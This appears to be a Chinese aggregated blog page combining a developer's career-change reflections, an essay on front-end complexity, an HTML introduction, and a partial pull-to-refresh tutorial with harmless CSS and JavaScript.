但是,但是了,这家公司有 2 点特别好吧 1.管早饭和午饭,是伙食非常好的那种,真的可以用非常好来形容,总之从那家公司出来后,我是没见过哪家公司的食堂这么给力 2.不加班,但严格卡打卡时间,早 8 点到晚 6 点,迟到要扣 500 块的,迟到 1 s 也要扣,但大家真的是 6 点准时下班呀,是真的不加班,当然上线除外


图片


西装皮鞋程序猿上线


在这家公司待的挺开心的,即使有穿西装皮鞋的规则,不过最后选择离开还是考虑自身成长,活儿很少,用户也少,成长相对慢一些,而且加上 18 年央妈出手要让各个支付公司对接银联,支付公司也不好过,所以在 18 年我选择了离开,后面得知我离开后没多久,公司就开始了裁员了,稳定后人就很少了,然后大家也都陆续选择了离开


画外音



17 年,18 年是我疯狂关注技术公众号的时间,可以说看到一个技术公众号就关注,也是那个时候有幸加了很多号主的微信,很多已经是大佬了。那个时候也喜欢参加线下技术沙龙,也有幸亲眼见到过很多技术大佬。虽然没有变成我的人脉,毕竟彼此差距大,不奢求,但也会有一丝丝联系



反思



准时上下班,但有一些奇怪的规定的公司,要根据自己当前看重什么来做选择,如果不想加班还可以承受一些奇怪的规定,也挺好的,做到 wlb



第三次是我最不愿提起的经历


这次跳槽面试的公司很少,因为还在上一家公司上班时面的,当年都是现场面,一般几轮面试顺利的话,当天就知道结果了。所以这次几乎不涉及到选择,我是通过海峰总的朋友圈投的饿了么。饿了么北京研发中心是海峰总带,很快收到了面试邀请,面试的是新零售的无人货架业务 当时无人货架的业务还挺多的,很多公司在搞,属于抢市场的阶段吧,我没有选择继续做支付业务,原因是我在支付业务的知识储备还是比较少的,还是前面提到的,试错成本低,所以没有继续找支付业务


下午去的,面试还算顺利,3 轮技术面 + 1 轮 HR  面通过了,大约第二天就发了 offer,我也很爽快的接了 offer 当时最后一轮技术面试是海峰总面的,印象深的是问我的职业规划,我说当架构师,说实话,那个时候我连架构师是啥都不知道,不过海峰总应该是和我说了些啥,但我已经记不清了,对不起海峰总


说不愿提起这段经历的原因是,我待的很不开心,从第一天进去到最后离开,我感觉一直都没有融入进去 先说结果,饿了么试用期我没有通过,但具体原因我真的到现在都不知道,也许只有他们几个做决定的人最清楚了


那里工作节奏还是很快的,刚去半个月吧,我就上了一次线,那上线流程确实丝滑,点点就上线了,和上家公司替换 class 文件对比还是很明显的 后面做第二个需求时有点吃力,业务逻辑还没整明白,然后给了排期后,确实遇到了一些问题,但我没有主动找师傅请教,这是我的问题,我不好意思打扰他,也可能和没融入进去有关,说不清楚了,总之结果是我没有主动找他,他也没主动问我是否有问题,到要求的提测时间,代码虽然提交了一版,但 CR 时被嫌弃了,我也从其他地方听到了一些议论我的声音,大概就是说我写代码不行吧 然后小组长把我代码重构了,说实话,我也看他写的了,真没觉得比我写的好多少,但这个行为确实伤害到了我


最后师傅找我聊,大概就是告诉我,大概试用期过不了了,他也被领导批了,从和师傅的谈话中,学到了遇到问题要及时沟通的,别一个人憋着死扛


然后就是组长找我谈话嘛,说过不了试用期啥的,我当时竟然还求给我次机会,现在想想,真的挺后悔的


领导和 hr 找我谈话时已经是最后了,他和我说我不适合这个团队,离开可能是当时最好的选择,这点我是承认的 然后我就开始新一轮的找工作了


图片


饿厂


这段经历最不愿提起就是试用期没过嘛,感觉是自己职业的污点,但真正不过的原因,到现在我也不清楚,当时代码写的不好是一个原因,但应该不止这个。后面离开后,从其他离职的同事那听到我是被人搞走的,至于真实情况是啥,我也不在乎了,算是职场上了一课


反思



1.有卡点一定要及时找师傅或组长沟通求助,不要一个人憋着死扛,等到最后再开口


2.不适合不要强求,要体面的分手,有尊严的离开


3.打铁还需自身硬



第四次选择了程序化广告


再次出来求职,内心是有一点自卑的,毕竟结果是这样的,但路还得继续走 这次也面了好几家公司,再拿到两家的 offer 后,其他未走完流程的面试也都主动取消了,主要就是做选择了 一个 offer 是首汽约车的派单系统开发,工资比 58 的月 base 高 5k,领导比较欣赏我,很想要我 一个是 58 同城的程序化广告开发,高并发 低延时系统,工资是饿了么平移过来的 这俩 offer 都是当天面试完,当天出结果


当时纠结的点是首汽约车的领导很想要我,给我打了两次电话吧,而且工资比 58 的也高 5k,当时工资本来就没多少,高 5k,真的很多了,而且派单系统很核心,应该也不错 58同城的那个工作机会更吸引我,做联盟 DSP 开发,真的是高并发,低延时系统,我是从未接触过的,听到后真的就差流哈喇子了,而且公司相对比首汽约车大一些,但工资低,而且低的挺多,所以我陷入了纠结


我后面从个人成长的角度做了选择,选择了 58同城,因为做的事儿我更喜欢,工资低点就低点吧,做选择工资确实是一个很重要的因素,但不是全部,在钱和成长之间,我选择了成长。当然这里并不是说首汽约车的派单没成长,这个判断只属于我个人的判断。我内心的天平更倾向 58


现在回看在 58 同城 3 年的时光,确实成长很多,这个选择我是很满意的。而且团队氛围很好,大家年龄都相仿,很能聊的来,那里有太多回忆了


从 58 选择离开的原因还挺多 1.当时据说可能要组织架构调整,我们领导可能要走了,当时我们部门很多人都在看机会,算是动荡吧 2.没啥新增业务了,主要维护系统正常运转 3.工资低


再继续待下去,成长和成事都不太满足了,而且工资还低,也挺难受,所以选择了离开


图片


初到58


图片


离开58


反思



1.从成长和成事的维度做选择,早期钱的权重可以低一些


2.选择一个好的平台和业务很重要,你学的那些技术点要有使用的地方很重要



第五次选择了大厂


21 年出来看机会,感觉是 58 的经历给自己做了一些背书,这次拿了挺多 offer,也挺纠结的


offer



  1. 腾讯广告,偏内部系统

  2. 小红书广告检索,直属领导挺欣赏我,做的方向是我想做的

  3. 美团外卖广告检索,做的方向是我想做的

  4. 猿辅导用户增长,现金+期权,总包最高,当时还没出教育政策,发展向好

  5. 爱奇艺广告投放平台

  6. 滴滴电商

  7. 去哪儿网客服平台


这几个 offer,我当时主要的纠结点是前 4 个 腾讯是大厂,我没在大厂干过,很想去体验一下,面试时我做了预期,可能做的业务不是我想做的,但大厂光环实在诱人


小红书做的业务是我想做的,而且小红书发展势头正猛呢,直属领导也挺欣赏我,还帮我争取工资,我和他沟通是最多的,电话了几次,而且我还去了小红书公司一趟,他还请我吃饭了,但我最后没去,感觉很对不起他,这也是我一直没敢再联系他的原因。但不好的一点是大小周


美团做的方向是我想做的,而且我对一面面试官的印象特别好,加上美团的 Java 也很好。不足是这个 offer 算是我后面争取的,因为面美团是比较早的,3 面和 HR 面完后,一直没接到进一步的通知,这种大概率是作为备选中或 pass 了。后面我拿到了腾讯的 offer,又找当时的二面也就是直属领导聊了下,他又帮忙推进了流程,那个时候 58 很多做广告的去面美团这个岗位,所以卡薪资卡的挺死的,说白了,候选人很多嘛,选择权在手,硬气一些。而且美团福利相对差一些,就没福利


猿辅导当时上市谣言四起,给的薪资是最高的,那月 base 高不说,还给了期权,而且猿辅导不卷


当时真的很纠结 从成长角度看,美团和小红书应该是更好的选择 从成事角度看,小红书和猿辅导应该是更好的选择 但腾讯有大厂光环,没待过大厂,机会摆在眼前,不心动很难 小红书的直属领导都请我吃饭了,而且做的事儿也是自己想做的,且符合成长和成事,但架不住大小周呀,有娃了,想分出一些时间陪娃 美团做的事儿也是自己想做的,加上这个机会还是自己主动争取的,但美团没啥福利呀,薪资卡的还那么死 猿辅导可是前景一片看好呀,上市概率这么大,一旦上市,不敢想了,但做的事儿相比其他,可能不是那么有吸引力


怎么办?这次选择没有从成长和成事的角度选,而是遵从了内心,我内心是想弥补大厂的空缺,所以最后选了腾讯


这个选择的 2 年后,也就是现在,回看下当时的选择 猿辅导,后面双减政策一出,猿辅导开始裁员,上市更是无望,没去对了 滴滴电商,滴滴 app 下架,滴滴橙心优选应该是黄了吧,滴滴的电商应该是没做起来,没去对了 爱奇艺,后面也经历了裁员,没去就对了 去哪儿网,这个在我选择的最后 小红书,小红书广告业务还算不错,但没有其他的信息 美团,据我观察,那个团队发展的应该也不错,在美团技术公众号上看到过那个团队的文章 腾讯,面试时说做 cs,但因为组织架构调整以及人员分配,我做了其他的系统,现在看这个系统是我能团队最重要的项目了,虽说是内部系统,但现在看是符合成事的。不足的是,最近两年腾讯广告业绩不太好,年终奖折损很多。然后就是感觉个人成长较少


总结下来,还算满意,毕竟现在工作是相对稳定的,就是成长少了些,成长嘛,可以自己主动学习,从别的地方补补。但小红书和美团那个也算是自己的小遗憾,没能做自己想做的方向。哪有那么十全十美,既要又要,总得舍弃些什么


图片


鹅厂新员工培训


反思



优先考虑成长和成事,但如果有些事儿不确定,以及内心有个强烈的遗憾需要弥补,稍微遵从下内心吧,不然错过就不在了



虽说社招与 5 家公司产生过关系,但真正我想承认的经历只有 3 家,一天外包不算很正常,饿了么 2 个月简短的时间也可以忽略不计


这就是我从毕业到现在,做的和工作相关的选择,出身不好的我,靠着点滴的进步,一步步走到现在,过程确实曲折些,不过还算满意吧


作者:每天晒白牙
来源:juejin.cn/post/7220793382020743223
收起阅读 »

为什么前端开发变得越来越复杂了?这可能是我们的错

Hello,大家好,我是 Sunday。 最近有很多同学来问我:“Sunday 老师,前端学起来好多的东西啊。各种框架、各种库、各种语法、各种标准,弄得我完全懵逼了。Sunday 老师,你之前是怎么学的,好厉害啊!” 这不禁让我开始反思:“我厉害吗?我可不这么...
继续阅读 »

Hello,大家好,我是 Sunday。


最近有很多同学来问我:“Sunday 老师,前端学起来好多的东西啊。各种框架、各种库、各种语法、各种标准,弄得我完全懵逼了。Sunday 老师,你之前是怎么学的,好厉害啊!”


这不禁让我开始反思:“我厉害吗?我可不这么觉得!” 那我之前是怎么学习这些东西的呢?


我只是占了时间的便利而已~~


背景


如今可用的大量框架和工具给人的印象是 Web 开发可能已经变得过于复杂。如果是一个新人,有这么多要考虑的东西确实会令人感到“恐惧”。好像每一个框架都需要学习,如果不学习给人的感觉就是 “就是没有办法工作” 的样子。更何况还有各种新的热门框架教程和课程增加我们的焦虑感。


但是,大家有没有想过一点,或许前端开发远没有那么负责,这一切也只是一种所谓的 “夸张” 而已。




我记得最初在我学习前端的时候,Angular 还是 1 的版本。Vue 也才刚刚出现。那个时候前端开发好像很简单。标准网站主要由 HTML 和 CSS 组成的静态页面组成,并添加少量 JavaScript 和 jQuery。


快进到今天,看起来就像一个平行宇宙正在发生,有大量的选择。新项目应该使用哪个框架?也许是更成熟的产品,如 React、Angular、Vue、Svelte,或者可能是上个月推出的热门新产品?每个框架都有其独特的生态系统。你还需要决定是否使用 TypeScript 而不是 “普通的” JavaScript,并选择如何使用Next、Nuxt 或 Gatsby 等框架进行服务器端渲染(或静态站点生成) 。如果你想要一个没有错误的应用程序,还不能忘记单元和端到端测试。不过哪怕做到了这些,我们也仅仅知识触及了前端生态系统的表面!


但建立网站真的变得更加复杂了吗?我们今天使用的许多框架和工具最初都是为大型项目而设计的。作为一个新人,真的有这么多要考虑的东西吗?一些新的课程(可能是上周刚刚发布的新框架)没有了它们真的会影响你的工作(找工作)吗?显然不会的!


最初的前端开发状态


作为 2013 年开始工作,2015 后进入 Web 开发的人,那个时候的前端开发真的是非常简单,至少对我来说是这样的。


我记得我可以只使用静态 HTML 页面、最少的 CSS 样式以及少量的 JavaScript(或许还有一点 jQuery)来添加交互功能(这是应用在一个 最高有百万日活 的项目中的技术栈)。你看,哪怕是这样的一个大型项目,它的开发方案依然非常简单。



不过,当时也确实存在一些大型的框架,比如:angular 1。有部分团队也在尝试使用这种全新的技术方案,不过随着 angular 2 的推出,这埋葬了一大批的项目(经历过那个年代的同学应该有对应的感受)。



在当时,我们更关注与 SEO 和页面的优化,但是也仅限于一些标记和关键字之类的东西。与现在的标准相比,可访问性、用户体验和响应式布局 等其他因素几乎在当时都是被忽略的。


不过,随着原生(android || IOS)开发褪去,web 逐渐占据主流。越来越多的功能添加,以及越来越多的人开始依赖于 web 项目。我们开始逐渐在原有的基础之上创建出:新的解决方案、新工具、新工作流程、新功能以及满足更大网络和更大需求所需的任何其他新功能。


JavaScript 框架


越来越多的 JavaScript 框架开始出现,比如大家所熟知的:Vue、React、Angular,通过它们又延伸出了各种生态,如:Element、AntD、Pinia、Redux 等等。


现在,哪怕是一个很小的项目(比如我前几天所做的 运气模拟器依赖了 vue)也会依赖这些框架完成。我好像已经失去了 不依赖框架,完成项目独立开发的能力


但是我们好像忘记了:JavaScript 框架最初应该是为了支持大型项目而不是小型项目而创建的。 学习框架的成本很高,虽然它使用起来确实很简单。但是这是一个增加了我们学习复杂度的来源。


不是所有的项目都必须要依赖框架


JavaScript 框架最适合用于较大的应用程序。如果你正在处理较小的项目,基于组件的框架只会使事情变得复杂,将网站拆分为组件层次结构,这对于小型项目来说很多时候是多余的。


就像 vuex 中犹大所说的一样:



请记住,框架的目的是:简化你的开发并节省你的时间。 不要被框架所绑架。


大家的期望正在变得越来越大


项目的规模随着时间的推移而增长,这是合乎情理的。但是反过来 先构建一个巨型的架构,来应对小型的功能 显得就 不合情理 了。



Web 开发变得过于复杂的想法源于:我们相信我们都拥有与大型企业相同的需求和资源。



这是一个很可怕的事情!


这意味着每个新项目可能需要独特的架构来满足其要求。大公司的所有项目都需要庞大的架构,并且他们的结构经过 “精心设计(至少相对来说是这样)”,以确保可扩展性和维护。他们还拥有庞大的客户群,因此,通过更多的收入、更多的工程师和更清晰的问题了解,维护大型代码库将变得更加容易。


但是对于小公司来说。为了最大程度地减少浪费,小公司的项目应该最小化,不仅要满足其需求的规模,还要满足团队中开发人员的能力。试图模仿大公司的巨型代码架构是毫无意义的


有些人可能会说:“这是我们为了未来的可扩展性和维护而必须做出的牺牲!” 相信我,如果你这么做的话,那么你们肯定撑不到那个时候。


模仿大公司的巨型架构只有一个价值,那就是 增加你简历中的亮点。 如果你从这一点进行考虑,那么你这样做是 “正确的”。


每个解决方案都会引入一个新的问题


每个新框架或库都会出现一个新问题。缺少时间的开发人员花费几个月时间开发出来一个新的工具来解决该问题。如果没有问题呢?那么请放心——我们会创建一个问题,就像多年前的 中、前 台分离一样。


不过世界上任何的行业好像都是想通的,这个事情并不仅仅存在于开发行业。UG 克里希那穆提(印度哲学家)说过:显而易见的事实是,如果你没有问题,你就会制造问题。如果你没有问题,你就不会觉得自己还活着。



我们可以随意以 React 为例(因为我更喜欢 Vue ,所以我不想以 Vue 为例)。它最初是由Facebook创建的,旨在为Facebook开发更多动态功能,同时改善 Facebook 的开发者体验。


自从 React 在 2013 年开源,已经创建了数百个依赖库来解决各种特定于 React 的问题。



  • 如何启动 React 项目?有 Create React App 和 Vite

  • 如何进行状态管理?有 Redux,还有 Mobx

  • 需要创建表单吗?有一个 React Hook 表单

  • 需要服务器端渲染吗?有 Next、Remix 或 Gatsby 等


每个解决方案都有自己的注意事项,开发人员将为它们创建自己的解决方案。


React 可能会认为自己很委屈,因为它认为自己是一个库,而不是一个框架。但是它不可避免地会被社区扩展。同时,Angular 和 Vue 都是拥有自己社区生态系统的框架。并且这只是冰山一角,因为存在许多 JavaScript 框架,每个框架都有自己独特的意识形态和依赖关系。


如何简化我们的代码


在刚才我们已经讨论了很多代码变得复杂的原因。那么接下来我们就要思考 如何才能简化我们的代码


想象一下,你正在开发一个项目、评论和评价其所在地区的餐厅(类似于大众点评)。该项目有关每家餐厅的信息、以及评论的功能。但是在很多情况下,项目最终都会被 延迟发布,因为我们总会添加很多不必要的功能。比如:SSR、通知、离线模式和动画等等。我们在做这些的时候 甚至还没有任何一个用户


我们要知道:完成比完美要重要的多


思考的越多会让我们真正陷入到 过渡设计 的怪圈之中:



所以 简化你的项目吧。去掉那些暂时不需要的功能,去掉那些暂时不需要的框架。 为目标选择合适的工具,而不要为工具选择合适的目标!


作者:程序员Sunday
来源:juejin.cn/post/7338702103882121216
收起阅读 »

HTML简介:想成为前端开发者?先从掌握HTML开始!

在这个数字化的时代,我们每天都在与网页打交道。你是否曾经好奇过,这些充满魔力的网页是如何诞生的呢?今天,我们就来揭开构成这些网页的神秘面纱——HTML(超文本标记语言)。一、什么是HTML网页的基本组成网页是构成网站的基本元素,通常由图片、链接、文字、声音、视...
继续阅读 »

在这个数字化的时代,我们每天都在与网页打交道。你是否曾经好奇过,这些充满魔力的网页是如何诞生的呢?今天,我们就来揭开构成这些网页的神秘面纱——HTML(超文本标记语言)。

一、什么是HTML

网页的基本组成

网页是构成网站的基本元素,通常由图片、链接、文字、声音、视频等元素组成,通常我们看见的网页都是.htm和.html后缀结尾的文件,因为都称为HTML文件。

什么是HTML

HTML 英文全称是 Hyper Text Markup Language,中文译为“超文本标记语言”,专门用来设计和编辑网页。

Description

使用 HTML 编写的文件称为“HTML 文档”,一般后缀为.html(也可以使用.htm,不过比较少见)。HTML 文档是一种纯文本文件,您可以使用 Windows 记事本、Linux Vim、Notepad++、Sublime Text、VS Code 等文本编辑来打开或者创建。

每个网页都是一个 HTML 文档,使用浏览器访问一个链接(URL),实际上就是下载、解析和显示 HTML 文档的过程。将众多 HTML 文档放在一个文件夹中,然后提供对外访问权限,就构成了一个网站。

二、HTML的历史

HTML的故事始于1989年,当时蒂姆·伯纳斯-李在欧洲核子研究中心(CERN)提出了一个名为“万维网”的概念。

为了实现这一概念,他发明了HTML,并随后与罗伯特·卡里奥一起发明了HTTP协议。从那时起,HTML就成为了互联网不可或缺的一部分。
Description
上图简单罗列了HTML的发展历史,大家可以简单了解一下。

三、HTML相关概念

什么是标签

HTML 标记通常被称为 HTML 标签 (HTML tag)。HTML 标签是由尖括号包围的关键词,比如<html/>。

  • 封闭类型标记(也叫双标记),必须成对出现,如<p></p> 

  • 标签对中的第一个标签是开始标签,第二个标签是结束标签,开始和结束标签也被称为开放标签和闭合标签 。

  • 非封闭类型标记,也叫作空标记,或者单标记,如<br/>

<标签>内容<标签/>

什么是元素

“HTML 标签” 和 “HTML 元素” 通常都是描述同样的意思。但是严格来讲,一个HTML 元素包含了开始标签与结束标签,如下实例。

HTML 元素:

<p>这是一个段落</p>

web浏览器

Web 浏览器(如谷歌浏览器,Internet Explorer,Firefox,Safari)是用于读取 HTML 文件,并将其作为网页显示。浏览器并不是直接显示的 HTML 标签,但可以使用标签来决定如何展现 HTML页面的内容给用户:

Description

HTML 属性

属性是用来修饰元素的,属性必须位于开始标签里,一个元素的属性可能不止一个,多个属性之间用空格隔开,多个属性之间不区分先后顺序。

Description

每个属性都有值,属性和属性的值之间用等号链接,属性的值包含在引号当中,属性总是以名称/值对的形式出现。

四、HTML的基本结构

一个典型的HTML文档由以下几个基本元素构成:

  • <!DOCTYPE html>

这是文档类型声明,告诉浏览器这个文档使用的是HTML5标准。

  • <html>

这是整个HTML文档的根元素,其他所有元素都包含在这个标签内。

  • <head>

这个部分包含了所有关于网页的元信息,如标题、字符集声明、引入的CSS样式表和JavaScript文件等。

  • <title>

这个标签定义了网页的标题,它显示在浏览器的标题栏或标签页上。

  • <body>

这个部分包含了网页的所有内容,如文本、图片、链接、表格、列表等。

HTML的结构示例

让我们通过一个简单的例子来具体了解HTML的结构:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>我的第一个HTML页面</title>
</head>
<body>
<h1>欢迎来到我的网页!</h1>
<p>这是一个简单的段落。</p>
<a href="https://www.example.com">点击这里访问示例网站</a>
</body>
</html>

在这个例子中,我们可以看到一个完整的HTML文档结构,从<!DOCTYPE html>开始,到最后一个</html>结束。

想象一下,如果HTML是一棵树,那么<html>就是树干,<head>和<body>就像是树的两个主要分支。<head>中的标签好比是树叶,它们虽然不起眼,但却至关重要,为树木提供营养。而<body>中的标签则像是树枝和果实,它们构成了树的主体,吸引人们的目光。

想要快速入门HTML吗?推荐一个前端开发基础课程,这个老师讲的特别好,零基础学习无压力,知识点结合代码,边学边练,可以免费试看试学,还有各种辅助工具和资料,非常适合新手!

点这里前往学习哦!

五、HTML的特点

HTML的特点主要包括简易性、可扩展性、平台无关性和通用性等。具体如下:

1.简易性:
HTML是一种相对容易学习和使用的语言,它的版本升级通常采用超集方式,使得新版本能够兼容旧版本的标签和功能,这样既保持了向后兼容性,又能够灵活方便地引入新的功能。

2.可扩展性:
随着互联网的发展,HTML也在不断增加新的元素和属性来满足新的需求,如支持多媒体内容的嵌入、更丰富的表单控件等。这种设计使得HTML能够适应不断变化的网络环境。

3.平台无关性:
HTML编写的网页可以在不同的操作系统和浏览器上显示,这是因为HTML是一种与平台无关的语言。这意味着无论用户使用什么设备或浏览器,都能够访问和浏览HTML页面。

4.通用性:
HTML是网络的通用语言,它是一种简单的标记语言,用于创建和结构化网页内容。由于其广泛的支持和普及,几乎所有的设备和浏览器都能够解析和显示HTML内容。

5.支持多种媒体格式:
HTML不仅支持文本内容,还能够嵌入图片、音频、视频等多种媒体格式,这使得网页可以提供丰富的用户体验。

6.标准化:
HTML遵循万维网联盟(W3C)制定的国际标准,这意味着网页开发者可以根据这些标准来创建网页,确保网页的互操作性和可访问性。

7.标签丰富:
HTML提供了一系列的标签,如标题、列表、链接、表格等,这些标签使得开发者能够创建出结构清晰、功能丰富的网页。

综上所述,HTML作为一种基础的网页开发语言,因其易学易用、跨平台、多功能和高度标准化的特点,成为了构建现代网络内容的核心工具。

HTML作为连接世界的纽带,其重要性不言而喻。它是数字世界的基石,也是每个想要进入互联网领域的人必须掌握的技能。无论你是梦想成为前端开发者,还是仅仅想要更好地理解这个由代码构成的世界,学习HTML都是一个不错的开始。

收起阅读 »

面试官:能否三行代码实现JS的New关键字

web
谁能不相思,独在机中织。 探索 凡实践,需理论先行,在开始之前,我们要先具体了解一下new创建对象的具体过程。 new的this指向 或者说构造函数的this指向,先来看一个小的示例,思考一下,log打印出来的是什么? function Person(nam...
继续阅读 »

2021_08_26_08_27_IMG_0042.JPG



谁能不相思,独在机中织。



探索


凡实践,需理论先行,在开始之前,我们要先具体了解一下new创建对象的具体过程。


new的this指向


或者说构造函数的this指向,先来看一个小的示例,思考一下,log打印出来的是什么?


function Person(name, age) {
this.name = name;
this.age = age;
}

let person = new Person("后俊生", 18);
console.log(person.name); //后俊生
console.log(person.age); //18

很显然,大家都知道打印出来的分别是"后俊生", 18,那么,你有没有思考过这样的简单问题,为什么打印出来的是这些数据?


->我明明把参数传递给了构造函数Person,而不是实例person?参数为什么会附加到实例上边去了?


OK,带着这些思考,我们将代码稍稍改动,思考一下,打印出来的会是什么?


function Person(name, age) {
this.name = name;
this.age = age;
}

let person = new Person("后俊生");
console.log(person.name); //后俊生
console.log(person.age); //undefined

结果是"后俊生", undefined,我们把函数中this赋值语句注释,实例中的属性就没了,好像这两句话是给实例赋值的?是不是有了一些眉目了?


既然this.name = name是给实例person复制的,那么是不是this.name就是person.name,是不是this = person


bingo~,恭喜你,答对了,


构造函数中的this,指向的是实例本身!!!


构造函数的原型


我们将代码继续改造,向他的原型链上添加数据


function Person(name, age) {
this.name = name;
this.age = age;

function logIfo() {
console.log(age, 1);
return 1;
}
}

Person.prototype.habit = "Games";
Person.prototype.sayHi = function() {
console.log("Hi " + this.name);
};

let person = new Person("后俊生", 18);
console.log(person.name); //后俊生
console.log(person.age); //18
console.log(person.habit); //Games
person.sayHi(); //Hi 后俊生

由上面的代码,不难发现,当函数被使用new创建的时候,构造函数的原型链上的数据也会被添加到实例上。


返回值


以上都是没有返回值的情况,那么,如果函数有返回值呢?


那么我们将代码再次改造一下:


function Person(name, age) {
this.name = name;
this.age = age;

return {
hair: 'black',
gender: 'man'
}
}

let person = new Person("后俊生", 18);
console.log(person.name); //undefined
console.log(person.age); //undefined
console.log(person.hair); //black
console.log(person.gender); //man

我们发现,实例person上不存在name、age属性了,只包含返回对象的属性,好像我们构造的是返回对象的实例,那么,真的是这样吗?


再来看看这个代码


function Person(name, age) {
this.name = name;
this.age = age;

return 1;
}

let person = new Person("后俊生", 18);
console.log(person.name); //后俊生
console.log(person.age); //18

咦?什么情况,为什么这次又存在name、age属性了?


事实上: 如果函数没有返回对象类型Object(包含Functoin, Array, Date, RegExg, Error),那么new表达式中的函数调用会自动返回这个新的对象。


new方法思路


我们来总结一下new方法做的事情:



  1. 改边this,指向实例

  2. 将构造函数的原型复制到实例上

  3. 根据返回值类型决定实例的属性


这就是我们的new方法需要实现的功能,


最终实现:


之前写过一下实现方式,功能一样,但是不够优雅,这是我见过最优雅的解决方案,三行代码解决问题


function _new(fn, ...arg) {
//以一个现有对象作为原型,创建一个新对象,继承fn原型链上的属性
const obj = Object.create(fn.prototype);
// 使用 apply,改变构造函数 this 的指向到新建的对象,这样 obj 就可以访问到构造函数中的属性
const ret = fn.apply(obj, arg);
// 如果函数没有返回对象类型Object(包含Functoin, Array, Date, RegExg, Error),那么new表达式中的函数调用会自动返回这个新的对象。
return ret instanceof Object ? ret : obj;
}

测试


我们来做一下测试:


function Person(name, age) {
this.name = name;
this.age = age;

return {
hair: 'black',
gender: 'man'
}
}

let person = _new(Person,"后俊生", 18);
console.log(person.name); //undefined
console.log(person.age); //undefined
console.log(person.hair); //black
console.log(person.gender); //man

function Person(name, age) {
this.name = name;
this.age = age;

return 1;
}
Person.prototype.habit = "Games";

let person = _new(Person,"后俊生", 18);
console.log(person.name); //后俊生
console.log(person.age); //18
console.log(person.habit); //Games

发现,和我们使用new方法的结果一模一样,至此,new方法实现完成。


注意


这里的_new方法只能传入函数,不能传入class,因为class在使用apply时会报错。


const ret = fn.apply(obj, arg);
^

TypeError: Class constructor Person cannot be invoked without 'new'

引用


面试官问:能否模拟实现JS的new操作符 - 掘金


Object.create() - JavaScript | MDN


github.com/mqyqingfeng…


作者:十里八乡有名的后俊生
来源:juejin.cn/post/7280436307914309672
收起阅读 »

H5 下拉刷新如何实现

web
H5 下拉刷新如何实现 最近我需要做一个下拉刷新的功能,实现功能后我发现,它需要处理的情况还蛮多,于是我整理了这篇文章。 下图是我实现的效果,分为三步:开始下拉时,屏幕顶部会出现加载动画;加载过程中,屏幕顶部高度保持不变;加载完成后,加载动画隐藏。 首先我会...
继续阅读 »

H5 下拉刷新如何实现


最近我需要做一个下拉刷新的功能,实现功能后我发现,它需要处理的情况还蛮多,于是我整理了这篇文章。


下图是我实现的效果,分为三步:开始下拉时,屏幕顶部会出现加载动画;加载过程中,屏幕顶部高度保持不变;加载完成后,加载动画隐藏。


pull-down.gif


首先我会讲解下拉的原理、根据原理写出初始代码;然后我会说明代码存在的缺陷、解决缺陷并做些额外优化;最后我会给出完整代码,并做一个总结。


下拉的原理


prinple.png


如图所示,蓝色框代表视口,绿色框代表容器,橙色框代表加载动画。最开始时,加载动画处于视口外;开始下拉之后,容器向下移动,加载动画从上方进入视口;结束下拉后,容器又开始向上移动,加载动画也从上方退出视口。


下拉基础代码


知道原理,我们现在开始写实现代码,首先是布局的代码:


布局代码


我们把 box 元素当作容器,把 loader-box,loader-box + loading 元素当作动画,至于 h1 元素不需要关注,我们只把它当作操作提示。


<div id="box">
<div class="loader-box">
<div id="loading"></div>
</div>
<h1>下拉刷新 ↓</h1>
</div>

loader-box 的高度是 80px,按上一节原理中的分析,初始时我们需要让 loader-box 位于视口上方,因此 CSS 代码中我们需要把它的位置向上移动 80px。


.loader-box {
position: relative;
top: -80px;
height: 80px;
}

loader-box 中的 loader 是纯 CSS 的加载动画。我们利用 border 画出的一个圆形边框,左、上、右边框是浅灰色,下边框是深灰色:


loader.png


#loader {
width: 25px;
height: 25px;
border: 3px solid #ddd;
border-radius: 50%;
border-bottom: 3px solid #717171;
transform: rotate(0deg);
}

开始刷新时,我们给 loader 元素增加一个动画,让它从 0 度到 360 度无限旋转,就实现了加载动画:


loading.gif


#loader.loading {
animation: loading 1s linear infinite;
}

@keyframes loading {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}

逻辑代码


看完布局代码,我们再看逻辑代码。逻辑代码中,我们要监听用户的手指滑动、实现下拉手势。我们需要用到三个事件:



touchstarttouchmove 事件中我们可以获取手指的坐标,比如 event.touches[0].clientX 是手指相对视口左边缘的 X 坐标,event.touches[0].clientY 是手指相对视口上边缘的 Y 坐标;从 touchend 事件中我们则无法获得 clientXclientY


我们可以先记录用户手指 touchstart 的 clientY 作为开始坐标,记录用户最后一次触发 touchmove 的 clientY 作为结束坐标,二者相减就得到手指移动的距离 distanceY。


设置手指移动多少距离,容器就移动多少距离,就得到了我们的逻辑代码:


const box = document.getElementById('box')
const loader = document.getElementById('loader')
let startY = 0, endY = 0, distanceY = 0

function start(e) {
startY = e.touches[0].clientY
}

function move(e) {
endY = e.touches[0].clientY
distanceY = endY - startY
box.style = `
transform: translateY(${distanceY}px);
transition: all 0.3s linear;
`

}

function end() {
setTimeout(() => {
box.style = `
transform: translateY(0);
transition: all 0.3s linear;
`

loader.className = 'loading'
}, 1000)
}

box.addEventListener('touchstart', start)
box.addEventListener('touchmove', move)
box.addEventListener('touchend', end)

逻辑代码实现一个简陋的下拉效果,当然现在还有很多缺陷。


pull-down-basic.gif


简陋下拉效果的 6 个缺陷


之前我们实现了简陋的下拉效果,它还需要解决 6 个缺陷,才能算一个完善的功能。


没有最小、最大距离限制


第一个缺陷是,下拉没有做最小、最大距离的限制。


通常来说,我们下拉屏幕时,距离太小应该不能触发刷新,距离太大也不行,下滑到一定距离后,就应该无法继续下滑。


因此我们可以给下拉设置最小距离限制 DISTANCE_Y_MIN_LIMIT、最大距离限制 DISTANCE_Y_MAX_LIMIT。如果 touchend 中发现下拉距离小于最小距离,直接不触发加载;如果 touchmove 中下拉距离超过最大距离,页面只向下移动最大距离。


解决缺陷关键代码如下:


const DISTANCE_Y_MAX_LIMIT = 150
DISTANCE_Y_MIN_LIMIT = 80

function move(e) {
endY = e.touches[0].clientY
distanceY = endY - startY
if (distanceY > DISTANCE_Y_LIMIT) {
distanceY = DISTANCE_Y_LIMIT
}
box.style = `
transform: translateY(${distanceY}px);
transition: all 0.3s linear;
`

}

function end() {
if (distanceY < DISTANCE_Y_MIN_LIMIT) {
box.style = `
transform: translateY(0px);
transition: all 0.3s linear;
`

return
}
...
}

加载动画没有停留在视口顶部


第二个缺陷是,下拉没有让加载动画停留在视口顶部。


